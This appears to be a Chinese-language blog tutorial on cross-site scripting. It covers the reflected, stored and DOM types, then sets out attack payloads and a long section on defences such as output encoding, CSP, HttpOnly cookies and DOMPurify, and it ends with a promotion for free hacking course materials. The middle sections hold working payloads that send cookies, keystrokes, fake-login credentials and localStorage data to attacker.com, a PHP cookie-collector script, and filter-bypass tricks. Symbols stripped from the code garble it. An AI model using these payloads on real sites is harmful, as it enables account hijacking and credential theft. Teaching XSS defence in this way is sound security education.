核心内容摘要
「寻音捉影·侠客行」5分钟快速上手:音频关键词检索神器实战教程
好的我们来对XSS攻击进行一次极其详细的剖析。
本文将从概念、原理、类型、攻击步骤、高级技术到防御进行全方位的深度解析。
XSS攻击的核心概念
1 什么是XSSXSS全称跨站脚本攻击。
攻击者通过向网页中注入恶意脚本当用户浏览该页面时恶意脚本会在用户的浏览器中执行从而达到攻击目的。
核心本质XSS不是直接攻击服务器而是攻击访问网页的用户。
它是一种发生在客户端的安全漏洞利用的是用户对网站的信任。
2 XSS与代码注入的区别SQL注入目标是数据库在服务器端执行恶意SQL。
系统命令注入目标是服务器操作系统在服务器端执行系统命令。
XSS注入目标是访问网站的用户在用户的浏览器中执行JavaScript。
XSS攻击的三种主要类型
1 反射型XSS特点恶意脚本来自当前HTTP请求。
攻击者将恶意代码“反射”给受害者。
过程攻击者构造一个含有恶意脚本的URL。
诱骗受害者通过邮件、社交网站等点击这个URL。
网站服务器收到请求将恶意脚本作为请求的一部分不加处理地“反射”回用户的响应页面中。
用户的浏览器解析响应执行恶意脚本。
比喻像一面镜子把攻击者投来的“恶意飞镖”原封不动地反射给了受害者。
持久性非持久化。
恶意脚本只存在于本次请求的URL中不存储在服务器上。
典型漏洞代码PHP示例// 服务器端代码直接将用户输入输出到页面echo您搜索的关键词是: .$_GET[keyword];攻击URLhttp://victim-site.com/search?keywordscriptalert(XSS)/script
2 存储型XSS特点恶意脚本被永久存储在目标服务器的数据库中。
过程攻击者将恶意脚本提交到网站的存储功能中如论坛发帖、评论、用户昵称。
服务器将这段恶意脚本保存到数据库。
当其他用户访问包含该内容的页面时如查看评论恶意脚本从服务器加载到页面并执行。
比喻像在公共水源里下毒所有来喝水的用户都会中毒。
持久性持久化。
影响所有访问受影响页面的用户危害最大。
常见场景社交网站、博客评论、商品评论、用户资料。
典型漏洞代码// 服务器将评论存入数据库$comment$_POST[comment];// 未过滤直接存入saveToDatabase($comment);// 另一个页面从数据库读取并显示echogetCommentFromDatabase();攻击Payload在评论框中输入scriptalert(XSS)/script
3 DOM型XSS特点漏洞存在于客户端JavaScript代码中与服务器响应无关。
过程攻击者构造一个恶意URL。
用户访问该URL。
浏览器接收到正常的HTML响应不包含恶意脚本。
浏览器开始渲染页面执行页面中的合法JavaScript。
合法JS如document.write,innerHTML,location.hash处理不安全地操作了DOM将攻击者可控的数据作为代码执行。
关键整个攻击在浏览器端完成服务器响应可能是完全“干净”的。
难点难以被服务器端的WAF检测到。
典型漏洞代码前端JSscript// 从URL的片段标识符#后内容获取数据并写入DOMvartokenlocation.hash.substring(
;document.write(欢迎token);/script攻击URLhttp://victim-site.com/welcome.html#img srcx onerroralert(XSS)
XSS攻击的详细利用过程与Payload
1 攻击者的目标窃取Cookie/Session最直接的目标获取用户登录凭证。
键盘记录监听用户的键盘输入盗取密码、银行卡号。
钓鱼攻击在页面上伪造登录框诱骗用户输入。
窃取本地数据/本地文件通过恶意脚本读取浏览器存储的数据或文件。
获取浏览器信息/历史记录。
发起CSRF攻击利用用户的登录状态以用户身份执行恶意操作。
“水坑攻击”在特定人群常访问的网站挂马。
挖矿在用户浏览器中运行加密货币挖矿脚本。
网页篡改/ defacement。
2 一个完整的窃取Cookie攻击示例反射型/存储型XSS Payloadscript// 创建一个Image对象将Cookie作为参数发送到攻击者控制的服务器varimgnewImage();img.srchttp://attacker.com/steal.php?cookieencodeURIComponent(document.cookie);/script或更简短的常见形式scriptnewImage().srchttp://attacker.com/steal?cdocument.cookie;/script或利用img标签的onerror属性绕过简单过滤imgsrcxonerrorthis.srchttp://attacker.com/steal?cdocument.cookie;this.style.displaynone;攻击者服务器 (steal.php) 代码?php$cookie$_GET[cookie];$ip$_SERVER[REMOTE_ADDR];$infoIP: .$ip.\nCookie: .$cookie.\n\n;file_put_contents(stolen_cookies.txt,$info,FILE_APPEND);header(Location: http://victim-site.com);// 重定向回原网站避免用户怀疑?DOM型XSS窃取Cookie攻击URLhttp://victim-site.com/profile#scriptfetch(http://attacker.com/steal?cdocument.cookie)/script
3 其他常见恶意Payload键盘记录器scriptdocument.onkeypressfunction(e){fetch(http://attacker.com/log?keyencodeURIComponent(e.key));}/script伪造登录框钓鱼varfakeLogindocument.createElement(div);fakeLogin.innerHTMLh3会话已过期请重新登录/h3form onsubmitsendCreds()input typetext iduser placeholder用户名input typepassword idpassinput typesubmit value登录/form;document.body.appendChild(fakeLogin);functionsendCreds(){varudocument.getElementById(user).value;varpdocument.getElementById(pass).value;fetch(http://attacker.com/steal?uupp);returnfalse;}读取本地存储scriptvardatalocalStorage.getItem(sensitiveData);fetch(http://attacker.com/steal?datadata);/script
高级攻击技术与绕过技巧
1 绕过基础过滤大小写混淆ScRiPtalert(
/sCRiPt双写绕过如果过滤程序只删除一次scriptscrscriptiptalert(
/script使用非标准标签/事件img srcx onerroralert(
svg onloadalert(
body onloadalert(
iframe srcjavascript:alert(
利用编码HTML实体编码如果输出在HTML属性中且未引号包裹 onmouseoveralert(
JS编码script\u0061\u006c\u0065\u0072\u0074(
/script混合编码极其复杂。
利用javascript:协议a hrefjavascript:alert(document.domain)点击/a
2 利用CORS和错误消息窃取数据现代Web应用API广泛攻击者可利用XSS发起跨域请求如果CORS配置不当甚至通过错误消息窃取信息。
// 尝试访问内部API通过错误信息判断内容fetch(https://internal-api.victim.com/admin/users).then(rr.text()).then(dfetch(http://attacker.com/steal?datad)).catch(efetch(http://attacker.com/steal?errore.message));
3 基于DOM的复杂攻击链利用DOM Clobbering、原型链污染等前端漏洞与DOM XSS结合实现更隐蔽的攻击。
4 使用SVG、WebRTC等现代APISVG文件内可包含脚本WebRTC可泄露内网IP这些都可能被XSS利用。
5 绕过内容安全策略CSP并非万能。
如果策略中包含unsafe-inline、unsafe-eval或允许向过多不可信域加载脚本仍然可能被绕过。
例如利用JSONP端点、AngularJS等库的CSP绕过模式。
全面防御策略防御XSS必须采用纵深防御、多重防护的策略。
1 对输入进行严格的过滤与编码核心原则“一切输入皆有害”。
定义清晰的数据格式对于电话号码、邮箱、用户名使用严格的正则表达式验证。
不要试图使用黑名单过滤如仅仅过滤script黑名单永远会漏。
采用白名单过滤只允许已知安全的字符集。
2 在输出时进行正确的编码最关键原则“输出上下文决定编码方式”。
数据出现在哪里就用哪里的编码。
输出在HTML标签内容中div {data} /div使用HTML实体编码。
将 分别转换为lt; gt; amp; quot; #x27;。
PHP:htmlspecialchars($data, ENT_QUOTES, UTF-
JavaScript: 使用textContent或innerText属性而不是innerHTML。
输出在HTML属性值中input value{data}同样使用HTML实体编码。
必须用双引号或单引号包裹属性值。
value{encoded_data}永远不要将用户输入放在未加引号的属性中。
输出在JavaScript代码/事件处理程序中scriptvar a {data};/script或button onclickfunc({data})使用JavaScript Unicode转义或严格的JSON编码。
避免将用户数据直接放入JS执行上下文中最好通过data-*属性传递。
输出在URL参数中a href/site?param{data}使用URL编码encodeURIComponent(data)。
现代前端框架React、Vue、Angular等默认进行了输出编码但使用v-html、dangerouslySetInnerHTML等API时仍需极度小心。
3 实施严格的内容安全策略CSP是防御XSS的终极武器。
它通过HTTP响应头Content-Security-Policy告诉浏览器只允许加载和执行来自哪些来源的资源。
Content-Security-Policy: default-src self; script-src self https://trusted-cdn.com; object-src none; style-src self unsafe-inline; upgrade-insecure-requests;关键指令default-src self默认只允许同源资源。
script-src严格控制脚本来源。
避免使用unsafe-inline和unsafe-eval。
object-src none禁止Flash等插件。
style-src控制样式表来源。
unsafe-inline对CSS风险相对较低但最好也避免。
启用CSP的报告模式先使用Content-Security-Policy-Report-Only头观察影响。
4 使用安全的Cookie属性HttpOnly防止JavaScript通过document.cookie访问Cookie。
这是防御Cookie窃取的最有效手段。
Secure仅通过HTTPS传输Cookie。
SameSite设为Strict或Lax可以有效防止CSRF攻击也对XSS发起的非法请求有一定缓解。
5 其他安全措施输入长度限制虽然不是根本解决办法但可以增加攻击难度。
使用成熟的Web框架它们通常内置了XSS防护机制。
对富文本的处理使用严格的白名单HTML净化库如DOMPurify。
定期安全审计与渗透测试主动发现漏洞。
对员工和用户进行安全意识培训防范社会工程学攻击。
总结XSS是Web安全中最持久、最常见、形态最丰富的漏洞之一。
它的核心在于**“将用户数据误执行为代码”**。
防御XSS是一场在“数据”与“代码”之间划清界限的持续战斗。
理解其原理、熟悉其变种、采用“输入验证 输出编码 CSP HttpOnly Cookie”的深度防御组合拳是构建安全Web应用的基石。
任何一环的缺失都可能为攻击者打开一扇窗。
网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。
可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。
成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。
对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。
可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。
网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。
****全套教程文末领取哈
SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦****全套教程文末领取哈
护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指
黑客必读书单
网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。
所有资料共282G朋友们如果有需要全套《网络安全入门进阶学习资源包》可以扫描下方二维码或链接免费领取~**读者福利 |**CSDN大礼包《网络安全入门进阶学习资源包》免费分享**安全链接放心点击**